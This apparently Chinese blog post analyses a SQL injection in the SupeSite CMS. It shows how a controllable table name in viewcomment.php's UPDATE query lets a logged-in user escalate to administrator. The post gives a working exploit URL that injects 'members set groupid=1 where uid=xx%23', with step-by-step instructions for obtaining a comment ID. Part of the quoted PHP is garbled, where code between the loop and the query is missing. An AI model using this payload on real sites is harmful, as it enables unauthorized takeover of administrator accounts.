Supesite 注入一枚

Supesite 注入出的密码 基本都破不出来 如果能够直接提升自己为管理员 或者 自己修改管理的密码那就再好不过了。 在index.php中 [php] if($_SGET['action'] != 'index') { if(empty($channels['menus'][$_SGET['action']]['upnameid']) && $channels['menus'][$_SGET['action']]['upnameid'] != 'news') { $scriptfile = S_ROOT.'./'.$_SGET['action'].'.php'; } else { $scriptfile = S_ROOT.'./news.php'; } [/php] 这里包含文件进来。 来看看$_SGET 怎么来的。 [php] if(empty($parsegetvar)) { $parsegetvar = empty($_SERVER['QUERY_STRING'])?'':$_SERVER['QUERY_STRING']; } if(!empty($parsegetvar)) { $parsegetvar = addslashes($parsegetvar); //这里转义了 $_SGET = parseparameter(str_replace(array('-','_'), '/', $parsegetvar)); // 这里 注册了这变量 } [/php] 再看看parseparameter如何操作的 [php] function parseparameter($param, $nofix=1) { global $_SCONFIG; $paramarr = array(); if($nofix && !empty($_SCONFIG['pagepostfix'])) { if(strrpos($param, $_SCONFIG['pagepostfix'])) { $param = substr($param, 0, strrpos($param, $_SCONFIG['pagepostfix'])); } } $sarr = explode('/', $param); if(empty($sarr)) return $paramarr; if(is_numeric($sarr[0])) $sarr = array_merge(array('uid'), $sarr); if(count($sarr)%2 != 0) $sarr = array_slice($sarr, 0, -1); for($i=0; $iquery('SELECT * FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\''); if($comment = $_SGLOBAL['db']->fetch_array($query)) { if($_SGLOBAL['group']['groupid'] == 1 || $comment['authorid'] == $_SGLOBAL['supe_uid']) { $_SGLOBAL['db']->query('UPDATE '.tname($table_name).' SET replynum=replynum-1 WHERE itemid=\''.$comment['itemid'].'\''); $_SGLOBAL['db']->query('DELETE FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\''); [/php] 这里 我们来看这里 UPDATE '.tname($table_name). [php] $ismodle = empty($_SGET['ismodle']) ? 0 : intval($_SGET['ismodle']); $table_name = ( $ismodle && !empty($_SGET['type']) ? $_SGET['type'] : 'space' ).'items'; //这里如果$ismodle为true的话 那么$table_name 就为$_SGET['type'] 刚好$ismodle 也是$_SGET来的 在结合index.php里的注册$_SGET 那么则table_name可控了 [/php] [php] if($cid && $itemid && $_SGLOBAL['supe_uid']) { //这里cid 和 itemid 都是index.php中注册的$_SGET来的 $_SGLOBAL['supe_uid'] 这个只要登录了用户就行 $query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\'');//把评论查询出来 if($comment = $_SGLOBAL['db']->fetch_array($query)) { if($_SGLOBAL['group']['groupid'] == 1 || $comment['authorid'] == $_SGLOBAL['supe_uid'])//这里必须是管理员 或者 你查看的是自己的评论 那么我们就自己评论一个 { $_SGLOBAL['db']->query('UPDATE '.tname($table_name).' SET replynum=replynum-1 WHERE itemid=\''.$comment['itemid'].'\'')//table_name可控 注入; [/php] 首先先注册一个会员 这里我们先随便找一个新闻页面 然后自己评论一下 [php] 'SELECT * FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\'' [/php] 这里由于我们只能查看自己的评论 这里怎么查看自己评论的cid呢? 首先自己评论一下 su 然后 su1 点一下引用 然后抓下包 就能看到 我们发的这个评论的cid为7 然后构造一下参数 在index.php中 把viewcomments.php中包含进来 su2 成功报错 su3 可以看到如果查看的不是自己发的评论 就出错额。 因为是update 所以自己update自己的groupid 为1 即可直接提升自己为管理。 http://127.0.0.1/dan/supesite/space.php?uid=13 首先进一下我们的个人主页 可以看到uid为13 然后构造一下语句 [php]index.php?action/viewcomment/op/delete/itemid/1/cid/x/type/members set groupid=1 where uid=xx%23/ismodle/1[/php] su4 没报错了 语句成功执行 这里语句成功执行后 [php]$_SGLOBAL['db']->query('DELETE FROM '.tname('spacecomments').' WHERE cid=\''.$cid.'\'');[/php] 就会执行这delete了。 就会删除这评论了 不过权限已提升了 su5

发表评论